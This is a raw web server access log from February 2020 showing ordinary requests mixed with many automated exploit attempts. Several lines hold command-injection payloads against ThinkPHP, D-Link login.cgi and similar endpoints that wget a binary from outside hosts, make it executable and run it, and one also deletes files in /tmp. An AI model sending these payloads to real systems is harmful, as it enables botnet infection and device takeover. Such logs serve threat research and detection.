119.152.58.237 - - [08/Feb/2020:00:52:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
128.14.133.58 - - [08/Feb/2020:00:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
42.113.229.206 - - [08/Feb/2020:00:57:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.11.136.29 - - [08/Feb/2020:00:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.94.135.84 - - [08/Feb/2020:00:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
64.227.55.76 - - [08/Feb/2020:00:59:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.170.31 - - [08/Feb/2020:01:05:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.112.159.182 - - [08/Feb/2020:01:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
73.32.140.239 - - [08/Feb/2020:01:06:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
176.114.224.102 - - [08/Feb/2020:01:08:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
170.239.87.68 - - [08/Feb/2020:01:09:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.123.216 - - [08/Feb/2020:01:09:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.77.93.177 - - [08/Feb/2020:01:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.245.248.177 - - [08/Feb/2020:01:12:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
120.41.186.197 - - [08/Feb/2020:01:14:14 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:14 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:14 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:15 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:15 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:16 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:16 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:18 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.41.186.197 - - [08/Feb/2020:01:14:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
62.77.90.62 - - [08/Feb/2020:01:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
93.123.16.108 - - [08/Feb/2020:01:17:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.209.84 - - [08/Feb/2020:01:21:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.158.49.85 - - [08/Feb/2020:01:21:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.210.169.121 - - [08/Feb/2020:01:21:21 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
112.78.178.125 - - [08/Feb/2020:01:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.118.126.142 - - [08/Feb/2020:01:25:35 +0100] "GET / HTTP/1.1" 200 1229 "https://bitcoin-ua.top/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:01:25:35 +0100] "GET / HTTP/1.1" 200 1229 "https://bitcoin-ua.top/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:01:25:36 +0100] "GET / HTTP/1.1" 200 1229 "https://bitcoin-ua.top/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
113.23.3.149 - - [08/Feb/2020:01:25:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.51.24.93 - - [08/Feb/2020:01:29:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [08/Feb/2020:01:33:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
45.236.24.2 - - [08/Feb/2020:01:35:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.68.115.76 - - [08/Feb/2020:01:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.65.170.39 - - [08/Feb/2020:01:38:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.89.31 - - [08/Feb/2020:01:39:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.42.100.118 - - [08/Feb/2020:01:39:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
115.46.101.69 - - [08/Feb/2020:01:40:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
5.101.0.209 - - [08/Feb/2020:01:40:44 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
49.68.246.198 - - [08/Feb/2020:01:43:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
80.26.154.92 - - [08/Feb/2020:01:46:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
5.251.196.247 - - [08/Feb/2020:01:48:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.246.172.221 - - [08/Feb/2020:01:48:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
93.117.21.88 - - [08/Feb/2020:01:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
93.117.21.88 - - [08/Feb/2020:01:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
93.117.21.88 - - [08/Feb/2020:01:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
41.230.83.246 - - [08/Feb/2020:01:52:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
116.177.181.249 - - [08/Feb/2020:01:56:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.194.45.90 - - [08/Feb/2020:01:56:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.4.150 - - [08/Feb/2020:01:58:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.130.137 - - [08/Feb/2020:01:59:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.209.88.70 - - [08/Feb/2020:02:04:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.98.91.206 - - [08/Feb/2020:02:07:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.31.21.88 - - [08/Feb/2020:02:08:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.0.196.128 - - [08/Feb/2020:02:09:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.126.208 - - [08/Feb/2020:02:09:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [08/Feb/2020:02:13:23 +0100] "GET / HTTP/1.1" 200 1229 "https://marathonbet-in.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
46.119.171.190 - - [08/Feb/2020:02:13:23 +0100] "GET / HTTP/1.1" 200 1229 "https://marathonbet-in.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
46.119.171.190 - - [08/Feb/2020:02:13:23 +0100] "GET / HTTP/1.1" 200 1229 "https://marathonbet-in.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
90.84.192.75 - - [08/Feb/2020:02:13:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.130.149.65 - - [08/Feb/2020:02:13:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.90.13.207 - - [08/Feb/2020:02:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
180.118.73.113 - - [08/Feb/2020:02:17:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.199.121 - - [08/Feb/2020:02:17:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.218 - - [08/Feb/2020:02:18:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.122.183 - - [08/Feb/2020:02:20:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.246.188.58 - - [08/Feb/2020:02:22:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
197.246.188.58 - - [08/Feb/2020:02:22:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
42.117.213.67 - - [08/Feb/2020:02:22:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.86.6.98 - - [08/Feb/2020:02:23:52 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
95.15.55.19 - - [08/Feb/2020:02:27:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.121.223.253 - - [08/Feb/2020:02:28:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.198.100.16 - - [08/Feb/2020:02:28:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.89.192.12 - - [08/Feb/2020:02:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
189.158.49.85 - - [08/Feb/2020:02:29:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.142.64 - - [08/Feb/2020:02:37:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.193.113 - - [08/Feb/2020:02:38:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.245.37 - - [08/Feb/2020:02:39:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.93.32 - - [08/Feb/2020:02:41:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.214.38 - - [08/Feb/2020:02:41:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.107.72.204 - - [08/Feb/2020:02:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
2.195.171.27 - - [08/Feb/2020:02:42:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.228.218.76 - - [08/Feb/2020:02:47:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
34.94.19.57 - - [08/Feb/2020:02:48:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.5.160.95 - - [08/Feb/2020:02:50:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
165.22.96.15 - - [08/Feb/2020:02:50:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.85.17.21 - - [08/Feb/2020:02:53:34 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
128.14.134.170 - - [08/Feb/2020:02:54:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
49.68.246.198 - - [08/Feb/2020:02:55:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
39.68.81.36 - - [08/Feb/2020:02:56:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.55.168.50 - - [08/Feb/2020:03:00:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.55.168.50 - - [08/Feb/2020:03:00:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.55.168.50 - - [08/Feb/2020:03:00:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.55.168.50 - - [08/Feb/2020:03:00:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
